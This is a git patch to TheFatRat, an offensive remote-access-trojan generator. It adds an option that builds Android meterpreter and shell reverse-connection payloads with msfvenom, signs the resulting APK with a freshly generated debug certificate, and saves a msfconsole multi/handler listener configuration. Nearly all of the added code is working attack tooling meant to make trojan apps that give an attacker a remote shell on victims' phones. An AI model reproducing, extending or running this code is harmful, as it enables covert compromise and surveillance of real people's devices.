From d272c14cddb0209b33402bd59a96294b3d5147f4 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 29 Mar 2017 22:02:58 -0400 Subject: [PATCH] Update-2 --- CHANGELOG.md | 1 + fatrat | 49 +++++++++++++++++++++++++++++++++++++++++++++++++ powerfull.sh | 2 +- 3 files changed, 51 insertions(+), 1 deletion(-) mode change 100644 => 100755 fatrat diff --git a/CHANGELOG.md b/CHANGELOG.md index cd70f4c..b3c2bba 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,6 @@ ## CHANGELOG +* v1.9.2 - Implemented option to create only apk payload in backdoored menu * v1.9.2 - Implemented Default Lhost & Lport config to fatrat * v1.9.2 - Fixed payload in pnwinds option2 * v1.9.2 - Implemented Stop functions in pnwinds diff --git a/fatrat b/fatrat old mode 100644 new mode 100755 index ce3dbf6..f29802b --- a/fatrat +++ b/fatrat @@ -1955,6 +1955,10 @@ if [ -z "$yourport" ]; then read -p ' Set LPORT: ' yourport fi echo "" +ponly=$(zenity --list --radiolist --column "Pick" --column "Action" TRUE "Create apk rat backdoor" FALSE "Create only apk payload" --text="Select an option to start :"); +case $ponly in + +"Create apk rat backdoor") copyfile=$(zenity --file-selection --file-filter='APK files (apk) | *.apk' --title="Select your app/game apk file"); cp $copyfile $path/temp/app.apk >/dev/null 2>&1 apkt="$path/temp/app.apk" @@ -2142,6 +2146,51 @@ menu clear menu ;; +esac; + +;; + +"Create only apk payload") +payload=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "android/meterpreter/reverse_http" FALSE "android/meterpreter/reverse_https" FALSE "android/meterpreter/reverse_tcp" FALSE "android/shell/reverse_http" FALSE "android/shell/reverse_https" FALSE "android/shell/reverse_tcp" --width 350 --height 300) > /dev/null 2>&1 +echo -e $okegreen "" +echo "[*] Creating RAT payload with msfvenom" +sleep 1 +#Creating payload and storing info in logfile +$msfvenom -f raw -p $payload LHOST=$yourip LPORT=$yourport -o $path/backdoored/payload.apk >>$log /dev/null 2>&1 +echo "[✔] Done!" +echo "[*] Creating a Valid Certificate" +sleep 1 +#Creating certificate and storing info in logfile +$keytool -genkey -v -keystore $path/temp/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US" -keyalg RSA -keysize 2048 -validity 10000 >>$log 2>&1 +echo "[✔] Done!" +echo "[*] Signing your payload APK" +sleep 1 +$sign -verbose -keystore $path/temp/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA $path/backdoored/payload.apk androiddebugkey >>$log 2>&1 +echo "[✔] Done!" +rm $path/temp/debug.keystore +sleep 1 +echo "" +zenity --question --text="`printf "Do you want to create a listener for this configuration \n to use in msfconsole in future ?"`" +if [ $? = 0 ] ; then +save=$(zenity --entry --title="Save Msfconsole Config" --width=100 --height=100 --text="Write the name for this config." --entry-text="payloadapk"); +svf=$path/config/listeners/$save.rc +rm -rf $svf >/dev/null 2>&1 +echo "use exploit/multi/handler" > $svf +echo "set PAYLOAD $payload" >> $svf +echo "set LHOST $yourip" >> $svf +echo "set LPORT $yourport" >> $svf +echo "exploit -j" >> $svf +echo -e $okegreen "" +echo "Configuration file saved to $list/$save.rc" +fi +echo "" +echo "Your payload apk was created and signed , and it is located in : +$path/backdoored/payload.apk" +echo "" +read -rsp $'Press any key to return to fatrat menu\n' -n 1 key +clear +menu +;; esac } diff --git a/powerfull.sh b/powerfull.sh index 8c02c78..ac46b25 100755 --- a/powerfull.sh +++ b/powerfull.sh @@ -14,7 +14,7 @@ fi #get user local ip , public ip & hostname into variables lanip=`ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'` publicip=`dig +short myip.opendns.com @resolver1.opendns.com` -hostn=`host $publicip | awk '{print $5}' | sed 's/.$//'` +hostn=`host $publicip | awk '{print $5}'` # Warn if the gcc-mingw32 package is not located here /usr/bin/i586-mingw32msvc-gcc # You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"